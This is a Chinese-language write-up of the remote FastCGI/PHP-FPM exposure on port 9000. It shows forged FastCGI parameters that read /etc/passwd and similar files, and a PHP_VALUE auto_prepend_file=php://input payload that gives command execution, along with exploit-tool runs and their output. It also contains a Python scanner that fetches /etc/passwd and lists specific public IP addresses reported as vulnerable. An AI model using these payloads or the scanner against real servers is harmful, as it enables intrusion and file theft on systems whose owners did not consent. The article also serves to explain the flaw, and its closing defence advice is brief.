FastCGI 文件读取与代码执行漏洞分析及 Python 扫描脚本
本文深入解析 FastCGI 协议在 PHP-FPM 中的远程利用漏洞,阐述如何通过伪造请求参数读取服务器文件及执行任意代码。文章提供了基于 Python 的 FastCGI 端口扫描脚本,用于快速发现内网中暴露 9000 端口的脆弱目标,并讨论了 PHP 5.3.3 版本前后配置差异对漏洞利用的影响及防御建议。
FastCGI 文件读取漏洞之 Python 扫描脚本
FastCGI 是当前 Web 服务器中动态脚本执行的主流模型之一。目前绝大多数 Web 脚本语言均支持该模式,部分语言如 Ruby on Rails 或 Python 甚至仅支持此模式。
FastCGI 的核心设计在于将 Web 服务器与动态语言执行引擎分离为两个独立的常驻进程。当 Web 服务器接收到动态脚本请求时,通过 FastCGI 协议将请求通过网络转发给 FastCGI 进程,处理完成后将结果返回给 Web 服务器,再由其输出至浏览器。该模型避免了每次请求重启 CGI 进程或嵌入脚本解析器到 Web 服务器中的开销,因此具备极强的可扩展性。当动态脚本请求量激增时,可将后端 FastCGI 进程单独组建集群提供服务,显著提升可维护性,这也是 FastCGI 等类似模式广泛流行的原因之一。
然而,这种架构也引入了潜在风险。例如,去年 80sec 发布的《Nginx 文件解析漏洞》便是由于 FastCGI 与 Web 服务器对脚本路径及参数理解不一致所导致。此外,由于 FastCGI 与 Web 服务器通过网络通信,越来越多的集群将 FastCGI 直接绑定在公网 IP 上,允许外部访问。这意味着攻击者可以伪装成 Web 服务器,诱导 FastCGI 进程执行任意脚本内容。
上述为背景原理说明,此处以作者熟悉的 PHP 为例进行演示。
PHP 的 FastCGI 实现通常称为 PHP-FPM,其默认监听端口为 9000。我们可以使用 Nmap 进行扫描:
nmap -sV -p 9000 --open x.x.x.x/24
使用 -sV 参数是因为 9000 端口可能被其他服务占用,需借助 Nmap 的指纹识别功能进行初步鉴定。
[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT Nmap scan report for abc.net (173.xxx.xxx.111) Host is up (0.0095s latency). PORT STATE SERVICE VERSION 9000/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0) Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for abc.com (173.xxx.xxx.183) Host is up (0.0096s latency). PORT STATE SERVICE VERSION 9000/tcp open tcpwrapped
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds
随机扫描结果显示,一个 C 段中有两个开放 9000 端口的目标,其中一个是管理员修改过的 SSHD 服务,另一个标记为 tcpwrapped 的才是我们的目标。
为了进行测试,我编写了一个 FastCGI 客户端程序,直接向目标发起请求。利用开放的 FastCGI 能做什么?与普通 HTTP 请求不同,Web 服务器在转发请求时,会通过 FASTCGI_PARAMS 包向 FastCGI 进程传递参数。这些参数原本由用户不可控,但既然 FastCGI 对外开放,我们就可以通过设定这些参数来执行原本无法实现的操作:
[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9 Content-type: text/html www.jb51.net
Ubuntu 10.04.3 LTS \n \l
成功读取到 /etc/issue 文件,显示这是一台 Ubuntu 10.04 的机器。其实现原理是:只要在 FASTCGI_PARAMS 中将 DOCUMENT_ROOT 设置为根目录“/”,并将 SCRIPT_FILENAME 设置为 /etc/issue,即可利用 PHP 执行该文件(而非直接读取)。只要拥有相应权限,攻击者即可控制 FastCGI 读取服务器上的任意文件。
既然是执行,该漏洞类似于本地文件包含(LFI)漏洞。如果知道服务器日志路径或任何可控制内容的文件路径,即可执行任意代码。
这是否意味着漏洞利用到此为止?并非如此。通过猜测日志或其他文件路径来执行代码并不便捷,是否存在更直接的方式执行任意提交代码?
我曾尝试传递 env 参数并执行 /proc/self/environ 文件,但 PHP-FPM 接收到参数后仅在内存中修改环境变量,并不直接修改该文件,因此无法利用。此外,该方法并非所有系统通用。
另一种方法是参考我之前编写的《CVE-2012-1823(PHP-CGI RCE)的 PoC 及技术挑战》,通过动态修改 php.ini 中的 auto_prepend_file 值来远程执行任意文件。这将 LFI 漏洞转化为远程文件包含(RFI),大大增加了可利用空间。
FastCGI 是否支持类似的动态修改 PHP 配置?查阅资料发现,原本 FPM 不支持此功能,直到某开发者提交了一个 bug,PHP 官方才将此特性合并到 PHP 5.3.3 的源码中。
通过设置 FASTCGI_PARAMS,我们可以利用 PHP_ADMIN_VALUE 和 PHP_VALUE 动态修改 PHP 设置。
env["REQUEST_METHOD"] = "POST" env["PHP_VALUE"] = "auto_prepend_file = php://input" env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"
利用 php://input 执行,并在 POST 内容中写入 PHP 代码,即可直接执行。
[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"
X-Powered-By: PHP/5.5.0-dev Content-type: text/html
uid=500(www) gid=500(www) groups=500(www) Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux
注意此处测试环境变更,我换用了本机测试。因为最初发现的机器 PHP 版本为 5.3.2,低于 5.3.3,无法利用修改 ini 设置执行代码,只能猜测路径。
另一个变化是读取 /tmp/a.php 而非 /etc/issue。因为在 PHP 5.3.9 之后,官方引入了“security.limit_extensions”配置,默认仅允许执行扩展名为“.php”的文件。因此必须找到已存在的 PHP 文件。该设置位于 php-fpm.conf 中,无法通过修改 ini 配置覆盖。如有更好的绕过方法,欢迎提供。
目前对 PHP-FPM 的所有测试已结束。利用对外开放的 FastCGI 进程,我们已可直接获取 Shell。各位不妨研究其他 FastCGI 实现,或许会有更多发现。
如何防止此漏洞?很简单,切勿将 FastCGI 接口暴露于公网。同时也希望未来 FastCGI 能引入身份认证机制。
在任何系统上编译,请安装 Golang 后执行: go build fcgi_exp.go
FastCGI 文件读取漏洞 Python 扫描脚本
FastCGI 文件读取(代码执行)是一个较老的漏洞,描述为:PHP FastCGI 的远程利用。
利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。下载上述文章中提到的:fcgi_exp。
协议细节已非关注重点,只需一个 Python 扫描脚本。于是使用 Wireshark 抓取 GaRY 的程序数据,编写了一段代码。
外网暴露 9000 端口的机器非常少,但内网情况则不确定。
import socket
import sys
def test_fastcgi(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
sock.connect((ip, 9000))
data = """
01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53
54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52
56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50
2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49
50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f
70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
"""
data_s = ''
for _ in data.split():
data_s += chr(int(_,16))
sock.send(data_s)
try:
ret = sock.recv(1024)
if ret.find(':root:') > 0:
print ret
print '%s is vulnerable!' % ip
return True
else:
return False
except Exception, e:
pass
sock.close()
if __name__ == '__main__':
if len(sys.argv) == 1:
print sys.argv[0], '[ip]'
else:
test_fastcgi(sys.argv[1])
通过快速扫描 9000 端口,可以发现几个存在漏洞的机器:
110.164.68.137 is vul ! 110.164.68.148 is vul ! 110.164.68.149 is vul ! 110.164.68.151 is vul ! 110.164.68.154 is vul ! 110.164.68.155 is vul !
fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。









